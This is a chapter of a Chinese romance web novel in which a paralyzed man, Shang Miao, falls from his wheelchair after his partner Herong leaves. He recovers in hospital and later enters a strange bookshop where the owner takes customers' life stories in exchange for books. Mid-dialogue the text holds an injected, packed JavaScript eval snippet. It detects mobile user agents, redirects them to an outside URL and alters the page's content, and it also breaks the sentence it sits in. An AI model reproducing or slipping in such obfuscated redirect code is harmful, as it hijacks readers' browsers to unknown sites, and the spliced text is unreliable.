粥冷了。
米香消弭，商渺只嗅到他悲惨的味道。
他无数次一.丝.不.挂在鹤蓉面前，暴露病体残缺，可都抵不上这一刻，他里里外外露.了.个.干.净，他不单身体丑陋，心理也扭曲了。
他是无理取闹的刁民。
讨伐恩人只给他一斗米，吝啬至极，为何给他的，不比给别人的多？为何不一直给他？
他声讨她的施舍，逻辑下流地责怪她，都怪你给了我白米让我尝了甜头，不然我不会惦记，不然，我就体面地目送你离开了。
商渺无地自容。
他身心都是残废。
湿重的羽睫缀在眼前，他再次别过脸去。
鹤蓉难得无所适从，碗捏在手里越捏越紧，她鲜少有话闷着不说，却闷了半晌，双唇翕翕合合才下定决心问出：“我……不应该这样做吗？”
不是她不应该。
是他太不识好歹。
“鹤蓉，你的东西都放着没碰过。我有点累了，先回房间休息了。”
商渺逃也是的驶离。
轮椅速度太快，他转弯，几乎漂移进卧房，没有束带的固定，惯性之下，他斜斜地甩出轮椅，重重砸向铺着地毯的地板。
沉闷一声重物落地。
他狼狈地摔在地上。
吓得紧随跟来的护工险些惊叫出来。
“别出声……惊动……她。”骨头好似一节节断开，痛至骨髓，痛得商渺头皮发麻，后脖子窜起一层鸡皮疙瘩，他艰难发声，“把……门……关上。”
别让她看见。
她心软良善，定会担心的。
四肢犹如被随手一丢的木偶人，潦乱摊在地上，左腿内八，右腿外弯，左手并在身侧掌心朝上，右手压在身下面，蜷缩的手指还垫着膀.胱。
尿.管和尿.袋的接口崩开。
污.液漫金山，弄脏了洁白的地毯。
商渺的整个背肌都无力，俯趴姿势，他甚至无法凭一己之力抬起脸来，毛毯的绒絮吃进他嘴里。
他吐不出，光是呼吸已让他精疲力竭。
护工把他抱上床，好生一番检查，给他戴上家用氧气面罩，他睁着虚焦空洞的眼，活死人一具，竟有片刻感觉到安宁。
——做了坏事受到惩罚后的心安。
他太糟糕了。
这样也好，闹得不欢而散，抹去他在她心中所有的体面与美好，愿她不再记挂他，心若空谷，回声辽阔。
心是空的，人就轻了。
那晚，商渺极致困倦，眼帘降了半闸，混浊的眼球偶有颤动，视野好似降下一场瓢泼大雨，视物不清，听力却在捕捉门外。
鹤蓉扣了门。
仅轻细一下。
许是茫然不知该不该面对面告别，门沉默片刻，再无叩声。
商渺听到她对陈管家说：“陈叔，我都整理好了。很谢谢您这些年的关照，也谢谢您派车送我，我一个人，还真苦恼这夜里去哪约搬家的车。”
“鹤小姐，不是我的主意，是商先生思虑周全，他给您都安排好了。”
商渺眼肌抽动，眼球迟缓地滑向门的方向，他听见鹤蓉稍作默然后说：“我走了。陈叔，麻烦您转告商渺哥一声吧。”
人走粥凉。
他闭眼，尽是寥落冰凉的黑。
商渺想，就像他的余生一样。
*
瘫痪病人经不起磕碰，商渺那栽头一摔，摔出右肩轻微骨裂，无奈住院疗养。
商母听闻大儿子住院，飞回国陪了一段时间。
看着儿子每天带着笑，换药不喊疼，吃药不喊苦，还老喊“妈，你歇一歇，我没事”，他是无坚不摧的温柔的代名词。
可夜深，她给商渺掖被子，而后躺回陪护床。
他睁开假寐的眼，凝望着窗外，眼中空无一物，怅然若失地追忆某人。
鹤蓉仍在纳米比亚。
她的研究团队已结束项目折返回国，她留下，加入了当地的一个华人公益组织，教平民窟的儿童读书识字，预计博士答辩再回来。
商母晓得，儿子人在病床上，心早飞了去。
紧紧贴附在那女孩身上。
他没再叨扰她，大号小号也都不再访问她的微博。
伤筋动骨一百天，商渺一住便是三月。
骨裂愈合，他拆了石膏绷带，此前，他右边肩臂的劳损也养好了，只是百天不用，肌肉用尽废退，他右胳膊纤细了一圈，伤愈，功能却退化了，需要后期的康复训练来恢复功用。
出院那天，天朗气清，久违的鸟语花香环绕周身，商渺仰靠在高背轮椅上，屏息细嗅。
“阿渺。”商母的手搭上商渺肩头，和颜悦色道，“今儿天气好，你也出院了，是个好日子。妈听说民俗街那边翻修了，路好走了。你和妈去逛一逛？”
闷了仨月，人心都闷馊了，商母想着带儿子出门透口气，笑道：“就当你陪陪妈。”
伤前，商渺就不是会玩爱玩的那类，伤后，他越是生活轨迹单调，公司、家、医院，三点一线。
鹤蓉忙于她的学业事业，两人很少像普通情侣那样吃喝游玩。
民俗街，他没去过。
重残人士寸步难行，仰仗助行设备行动，一道地坎都能绊住脚步，商渺出门即挑战，不方便，很折腾，但思虑商母想去，她多年不在国内，旧友早失联了，想逛逛怕是都寻不到能陪她的人。
“好。”商渺体恤地笑笑应，“妈，你看中什么，我给你付钱。”
*
民俗街铲了石子路，铺了平整地砖，商渺坐着引人瞩目的轮椅，胜在工作日上午，游人不多，也算逛得舒适自在。
午餐，他们找了家有斜坡的馆子吃。
护工给商渺的右手戴上辅助手套，套好叉子，他手臂的力量不如从前，吃吃歇歇，累得无力支撑脑袋，后脑勺嵌在头枕里，右手搭在堆积赘.肉的小腹上，仰着脸，连连直喘气。
商母心疼地看不下去，含着泪去买单了。
出了馆子，商母看儿子精神欠佳，便提议回去吧。
往停车场走时，商母一翻包，大叫不好：“……哎哟！糟了，我的钱包不见了！”
久待国外，生疏国内的手机支付，午餐结账她拿着钱包去结，许是落店里了。国外的ID卡、驾照、银行卡可都在包里，要紧得很！
商母慌了神，提步前进，却驻在分叉口，心慌意乱地摆头看，搞不清该向何方。
“小李，你带我妈去找钱包吧。”商渺对护工说，“我在原地等你们。”
护工放心不下独留商渺一人。
商渺下巴一指一排店家，神情是融雪般的温柔：“光天化日，众目睽睽，我活生生一个成年人，还能丢了不成？你放心吧。”
*
日上三竿，日头灼洒上商渺苍白的皮肤，温的，但也晒，他不经热不经晒，体虚易中暑，便环顾四周，找一处阴凉避一避。
满是台阶的店铺，终于，他看见了一家有无障碍斜坡的，瘫手推动手柄，他驾驶电动轮椅，打算开去屋檐下蔽日纳凉。
停下轮椅，头一抬，他眼前正对着店铺的门铃，镶在斑驳的青砖里，造型……
与时钟相似。
门牌号：807
正看着，风铃摇曳之声潺潺灌入耳内，商渺移目。
檀香木门从内推开，异香拂面，钟声浑厚，只见一位俊美年轻的男人长腿从容，缓步外出。
他扶着门框：“欢迎光临。”
二三十岁，唇红齿白，古典书生扮相，莫名显文绉绉的魅惑气。
商渺知道有人热衷于角色扮演。
他这方面属实门外汉，无知这年轻人在模仿谁，还是他就如此穿衣习惯。
“你好。”商渺微笑颔首，“我借你的屋檐躲躲太阳，会给你添
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357675|199693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
麻烦吗？”
年轻人若点头。
他立马下去，不堵在店门口。
而这书生似笑非笑，将店门敞开：“不妨进店来？敝肆售书，往来君子若有余暇，愿沽清茶半盏，换君子平生二三事。”
商渺：“……”
真演得入木三分，台词颇有古韵。
“……不了，谢谢你的邀请。”商渺婉拒，“我在等我的家人。”
书生不急，而是侧身倚门，让身后的空间一览商渺的眼底。
成排成列的书，汗牛充栋。
商渺想起鹤蓉热爱阅读，常常海淘一些绝版珍藏，这其貌不扬却内有乾坤的书店，不知能否淘到几本有收藏价值的给她……
思如海啸，商渺无声苦笑一下。
他在妄想什么呢。
他们不会再有交集。
可身体却不听话的诚实，他右手虚虚握着轮椅的手柄，加足马力，驶入店内。
*
四十平的店，内部空间大得惊人，商渺宽大的电动轮椅竟可在书架之间自由穿梭。
柜架琳琅满目，涵盖古今中外，旧书可追溯至百年前。
商渺忽然眼前一亮，停在一本英文学术著作前。
他记忆犹新——
鹤蓉苦恼寻不到这本的资源。他帮她找，实体的电子的，国内国外网站都搜寻无果，她垂头丧气地垂眼，说博士论文需要用到……
他赶紧买来，匿名邮寄给她，还来得及吗？
急切与喜悦交织，商渺抬起手臂去够那本书，臂力下降了，手臂在抬离肩膀高度时骤然失力，落下，掉在了轮椅扶手的外面。
瘫手荡秋千似的晃来晃去，衣袖蹭着轮椅零件。
他急意攻心，生怕有人此时进店把书抢了去，铆足一口气，把掉在外面的手甩起来，甩到腿上，然后蓄足力气抬起来。
“老……老板。”商渺艰难维持这动作，弯曲的手指指向那本书，“那本……请……卖给我。”
“好。”书生端方屹立，取下书，却没报价，也没递给商渺，一双眼圆睁，炯炯有神，却无端有种不匹配他年纪的故事感。
“先生。”书生勾笑，“小店立约：凡以浮生片段相告者，皆可自取架上卷册，分文不取。”
商渺微诧：“……不收钱，收我的故事？划算吗？”
“自然。”书生道，“以君之故事，换我之缥缃，各得其所，不亦妙哉？”
商渺仍有些不习惯书生的措辞语态，他怀疑书生这样做买卖的方式能收支平衡吗？
他又敛眸沉思。
店有店约，人有人癖，他尊重便好。
“我的故事……”商渺笑意中含着自谑，翻转手腕，手背锤了锤瘫废无用的腿，细白手指不受控地抽了抽，他望向书生，“你也不难看出，我的故事，可能没有那么幸福美满。”
“但凡人生所历，皆愿侧耳以闻。”
不知何时，书生已闪现在墨台前，研墨执笔，拓落沉着，似乎捏准了商渺不会拒绝。
“好。我先给我妈发个消息。”商渺总是周到，“我先告诉他们我在你的店里，不然，他们回来找不到我，一定着急。”
*
轩窗半启，炉香细细，满架书脊隐隐生光。
书生踞坐墨台前，悬腕作字，笔锋落处，但闻砚池微微有吮墨之声。
他在记录商渺的故事。
商渺思绪溯回儿时，娓娓道来，他左不过物质充裕，情感匮乏的公子哥一枚，没太多谈资。
话头重点落在了与鹤蓉的相知相识。
即便分道扬镳，讲起她，他嘴角依旧始终上翘。
“那个女孩，她喜欢我，这一点，我相信。”商渺不无伤感地一笑，“可我太贪心，我总想，她能不能多喜欢我一些？我渴望成为她心目中最特别的那个人，我不想，平等地得到她的爱。”
“我想被她偏爱。”